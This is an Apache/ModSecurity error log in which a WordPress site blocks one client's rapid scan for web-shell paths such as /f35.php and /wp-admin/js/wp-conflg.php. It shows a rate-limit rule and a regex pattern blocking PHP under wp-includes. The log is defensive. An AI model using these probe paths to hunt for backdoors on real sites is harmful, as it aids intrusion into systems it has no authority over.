[Fri Feb 27 08:16:26.854246 2026] [:error] [pid 54103:tid 54177] [client 51.12.82.80:36093] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/info.php"] [unique_id "aaDiWuvG4MPCmE0B2sDgoAAAAMY"]
[Fri Feb 27 08:16:27.384124 2026] [:error] [pid 54103:tid 54187] [client 51.12.82.80:35724] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/about.php"] [unique_id "aaDiW-vG4MPCmE0B2sDgogAAANA"]
[Fri Feb 27 08:16:27.936447 2026] [:error] [pid 54101:tid 54131] [client 51.12.82.80:2231] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/about.php"] [unique_id "aaDiW1Y5qgRktcYTGFux-AAAAdc"]
[Fri Feb 27 08:16:28.482336 2026] [:error] [pid 54231:tid 54234] [client 51.12.82.80:21475] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/about.php"] [unique_id "aaDiXOTvb5AeyJCdY7AMywAAAEA"]
[Fri Feb 27 08:16:29.025760 2026] [:error] [pid 54101:tid 54114] [client 51.12.82.80:4890] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/about.php"] [unique_id "aaDiXVY5qgRktcYTGFux-gAAAcY"]
[Fri Feb 27 08:16:29.557264 2026] [:error] [pid 54231:tid 54246] [client 51.12.82.80:21486] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/x/"] [unique_id "aaDiXeTvb5AeyJCdY7AM1AAAAEw"]
[Fri Feb 27 08:16:30.115770 2026] [:error] [pid 54102:tid 54162] [client 51.12.82.80:2236] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/x/"] [unique_id "aaDiXni74D4fiYUm_GfJFgAAAJI"]
[Fri Feb 27 08:16:30.654773 2026] [:error] [pid 54231:tid 54243] [client 51.12.82.80:2219] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/x/"] [unique_id "aaDiXuTvb5AeyJCdY7AM2AAAAEk"]
[Fri Feb 27 08:16:31.257844 2026] [:error] [pid 54231:tid 54251] [client 51.12.82.80:2202] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/x/"] [unique_id "aaDiX-Tvb5AeyJCdY7AM3wAAAFE"]
[Fri Feb 27 08:16:31.918736 2026] [:error] [pid 54102:tid 54147] [client 51.12.82.80:21043] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/222.php"] [unique_id "aaDiX3i74D4fiYUm_GfJJAAAAIM"]
[Fri Feb 27 08:16:32.451815 2026] [:error] [pid 54102:tid 54162] [client 51.12.82.80:21055] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/222.php"] [unique_id "aaDiYHi74D4fiYUm_GfJKwAAAJI"]
[Fri Feb 27 08:16:32.983615 2026] [:error] [pid 54231:tid 54242] [client 51.12.82.80:16334] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/222.php"] [unique_id "aaDiYOTvb5AeyJCdY7AM5AAAAEg"]
[Fri Feb 27 08:16:33.521810 2026] [:error] [pid 54101:tid 54118] [client 51.12.82.80:2846] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/222.php"] [unique_id "aaDiYVY5qgRktcYTGFuyCQAAAco"]
[Fri Feb 27 08:16:34.048558 2026] [:error] [pid 54103:tid 54175] [client 51.12.82.80:2824] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/adminfuns.php"] [unique_id "aaDiYuvG4MPCmE0B2sDgtgAAAMQ"]
[Fri Feb 27 08:16:34.578458 2026] [:error] [pid 54101:tid 54114] [client 51.12.82.80:35815] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/adminfuns.php"] [unique_id "aaDiYlY5qgRktcYTGFuyDgAAAcY"]
[Fri Feb 27 08:16:35.102508 2026] [:error] [pid 54231:tid 54256] [client 51.12.82.80:21034] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/adminfuns.php"] [unique_id "aaDiY-Tvb5AeyJCdY7AM6wAAAFY"]
[Fri Feb 27 08:16:35.660699 2026] [:error] [pid 54103:tid 54188] [client 51.12.82.80:18991] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/adminfuns.php"] [unique_id "aaDiY-vG4MPCmE0B2sDguQAAANE"]
[Fri Feb 27 08:16:36.186744 2026] [:error] [pid 54102:tid 54166] [client 51.12.82.80:11467] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-includes/PHPMailer/"] [unique_id "aaDiZHi74D4fiYUm_GfJQgAAAJY"]
[Fri Feb 27 08:16:36.711711 2026] [:error] [pid 54102:tid 54157] [client 51.12.82.80:12701] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-includes/PHPMailer/"] [unique_id "aaDiZHi74D4fiYUm_GfJRQAAAI0"]
[Fri Feb 27 08:16:37.277709 2026] [:error] [pid 54102:tid 54147] [client 51.12.82.80:35833] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-includes/PHPMailer/"] [unique_id "aaDiZXi74D4fiYUm_GfJSgAAAIM"]
[Fri Feb 27 08:16:37.813335 2026] [:error] [pid 54103:tid 54186] [client 51.12.82.80:35831] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-includes/PHPMailer/"] [unique_id "aaDiZevG4MPCmE0B2sDgvQAAAM8"]
[Fri Feb 27 08:16:38.380547 2026] [:error] [pid 54231:tid 54237] [client 51.12.82.80:15217] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xx.php"] [unique_id "aaDiZuTvb5AeyJCdY7ANDgAAAEM"]
[Fri Feb 27 08:16:38.912195 2026] [:error] [pid 54231:tid 54242] [client 51.12.82.80:33424] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xx.php"] [unique_id "aaDiZuTvb5AeyJCdY7ANEwAAAEg"]
[Fri Feb 27 08:16:39.437194 2026] [:error] [pid 54102:tid 54151] [client 51.12.82.80:35732] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xx.php"] [unique_id "aaDiZ3i74D4fiYUm_GfJXwAAAIc"]
[Fri Feb 27 08:16:39.961590 2026] [:error] [pid 54231:tid 54236] [client 51.12.82.80:2859] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xx.php"] [unique_id "aaDiZ-Tvb5AeyJCdY7ANJAAAAEI"]
[Fri Feb 27 08:16:40.485892 2026] [:error] [pid 54103:tid 54174] [client 51.12.82.80:16359] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/js/wp-conflg.php"] [unique_id "aaDiaOvG4MPCmE0B2sDgwAAAAMM"]
[Fri Feb 27 08:16:41.008458 2026] [:error] [pid 54101:tid 54108] [client 51.12.82.80:35823] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/js/wp-conflg.php"] [unique_id "aaDiaVY5qgRktcYTGFuyFAAAAcA"]
[Fri Feb 27 08:16:41.533458 2026] [:error] [pid 54231:tid 54251] [client 51.12.82.80:12032] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/js/wp-conflg.php"] [unique_id "aaDiaeTvb5AeyJCdY7ANMQAAAFE"]
[Fri Feb 27 08:16:42.086282 2026] [:error] [pid 54101:tid 54121] [client 51.12.82.80:15195] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/js/wp-conflg.php"] [unique_id "aaDialY5qgRktcYTGFuyFgAAAc0"]
[Fri Feb 27 08:16:42.620133 2026] [:error] [pid 54231:tid 54256] [client 51.12.82.80:12074] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/f5.php"] [unique_id "aaDiauTvb5AeyJCdY7ANPAAAAFY"]
[Fri Feb 27 08:16:43.158537 2026] [:error] [pid 54101:tid 54122] [client 51.12.82.80:35803] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/f5.php"] [unique_id "aaDia1Y5qgRktcYTGFuyGAAAAc4"]
[Fri Feb 27 08:16:43.689219 2026] [:error] [pid 54231:tid 54258] [client 51.12.82.80:12700] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/f5.php"] [unique_id "aaDia-Tvb5AeyJCdY7ANSAAAAFg"]
[Fri Feb 27 08:16:44.213486 2026] [:error] [pid 54103:tid 54173] [client 51.12.82.80:12712] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/f5.php"] [unique_id "aaDibOvG4MPCmE0B2sDgxQAAAMI"]
[Fri Feb 27 08:16:44.739379 2026] [:error] [pid 54231:tid 54256] [client 51.12.82.80:16354] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/flower.php"] [unique_id "aaDibOTvb5AeyJCdY7ANUQAAAFY"]
[Fri Feb 27 08:16:45.300423 2026] [:error] [pid 54103:tid 54188] [client 51.12.82.80:18944] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/flower.php"] [unique_id "aaDibevG4MPCmE0B2sDgxwAAANE"]
[Fri Feb 27 08:16:45.831449 2026] [:error] [pid 54231:tid 54237] [client 51.12.82.80:35716] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/flower.php"] [unique_id "aaDibeTvb5AeyJCdY7ANVQAAAEM"]
[Fri Feb 27 08:16:46.379742 2026] [:error] [pid 54102:tid 54157] [client 51.12.82.80:12079] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/flower.php"] [unique_id "aaDibni74D4fiYUm_GfJhwAAAI0"]
[Fri Feb 27 08:16:46.922683 2026] [:error] [pid 54103:tid 54176] [client 51.12.82.80:15189] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/f6.php"] [unique_id "aaDibuvG4MPCmE0B2sDgzQAAAMU"]
[Fri Feb 27 08:16:47.479488 2026] [proxy_fcgi:error] [pid 54103:tid 54186] [client 51.12.82.80:9671] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 08:16:47.746823 2026] [proxy_fcgi:error] [pid 54103:tid 54178] [client 51.12.82.80:9671] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 08:16:48.544454 2026] [:error] [pid 54103:tid 54194] [client 51.12.82.80:9671] [client 51.12.82.80] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/Text/Diff/Engine/about.php"] [unique_id "aaDicOvG4MPCmE0B2sDg1AAAANc"]
[Fri Feb 27 08:16:49.081277 2026] [proxy_fcgi:error] [pid 54101:tid 54128] [client 51.12.82.80:12716] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 08:16:49.347050 2026] [proxy_fcgi:error] [pid 54101:tid 54114] [client 51.12.82.80:12716] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 08:16:49.612301 2026] [proxy_fcgi:error] [pid 54101:tid 54119] [client 51.12.82.80:12716] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 08:16:49.877829 2026] [proxy_fcgi:error] [pid 54101:tid 54113] [client 51.12.82.80:12716] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 08:16:50.145245 2026] [proxy_fcgi:error] [pid 54101:tid 54115] [client 51.12.82.80:12716] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 08:16:50.410868 2026] [proxy_fcgi:error] [pid 54101:tid 54130] [client 51.12.82.80:12716] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 08:16:50.676037 2026] [proxy_fcgi:error] [pid 54101:tid 54123] [client 51.12.82.80:12716] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 08:16:50.937672 2026] [:error] [pid 54101:tid 54126] [client 51.12.82.80:12716] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/f35.php"] [unique_id "aaDiclY5qgRktcYTGFuyIwAAAdI"]
[Fri Feb 27 08:16:51.472188 2026] [:error] [pid 54103:tid 54178] [client 51.12.82.80:9689] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/f35.php"] [unique_id "aaDic-vG4MPCmE0B2sDg2wAAAMc"]
[Fri Feb 27 08:16:52.009183 2026] [:error] [pid 54231:tid 54249] [client 51.12.82.80:13241] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/f35.php"] [unique_id "aaDidOTvb5AeyJCdY7ANcgAAAE8"]
[Fri Feb 27 08:16:52.547894 2026] [:error] [pid 54101:tid 54110] [client 51.12.82.80:21358] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/f35.php"] [unique_id "aaDidFY5qgRktcYTGFuyJAAAAcI"]
[Fri Feb 27 08:16:53.090066 2026] [:error] [pid 54101:tid 54124] [client 51.12.82.80:12064] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/about.php"] [unique_id "aaDidVY5qgRktcYTGFuyJQAAAdA"]
[Fri Feb 27 08:16:53.625935 2026] [:error] [pid 54101:tid 54109] [client 51.12.82.80:33447] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/about.php"] [unique_id "aaDidVY5qgRktcYTGFuyJgAAAcE"]
[Fri Feb 27 08:16:54.162180 2026] [:error] [pid 54103:tid 54170] [client 51.12.82.80:13237] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/about.php"] [unique_id "aaDiduvG4MPCmE0B2sDg5QAAAMA"]
[Fri Feb 27 08:16:54.716483 2026] [:error] [pid 54231:tid 54242] [client 51.12.82.80:16742] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/about.php"] [unique_id "aaDiduTvb5AeyJCdY7ANewAAAEg"]
[Fri Feb 27 08:16:55.244985 2026] [:error] [pid 54103:tid 54175] [client 51.12.82.80:16712] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/update/f35.php"] [unique_id "aaDid-vG4MPCmE0B2sDg6QAAAMQ"]
[Fri Feb 27 08:16:55.769103 2026] [:error] [pid 54103:tid 54188] [client 51.12.82.80:26824] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/update/f35.php"] [unique_id "aaDid-vG4MPCmE0B2sDg6wAAANE"]
[Fri Feb 27 08:16:56.298566 2026] [:error] [pid 54103:tid 54176] [client 51.12.82.80:35795] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/update/f35.php"] [unique_id "aaDieOvG4MPCmE0B2sDg7gAAAMU"]
[Fri Feb 27 08:16:56.853581 2026] [:error] [pid 54102:tid 54165] [client 51.12.82.80:18891] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/update/f35.php"] [unique_id "aaDieHi74D4fiYUm_GfJuAAAAJU"]
[Fri Feb 27 08:16:57.393866 2026] [:error] [pid 54101:tid 54116] [client 51.12.82.80:9666] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/themes/about.php"] [unique_id "aaDieVY5qgRktcYTGFuyKgAAAcg"]
[Fri Feb 27 08:16:57.922165 2026] [:error] [pid 54231:tid 54242] [client 51.12.82.80:22993] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/themes/about.php"] [unique_id "aaDieeTvb5AeyJCdY7ANiwAAAEg"]
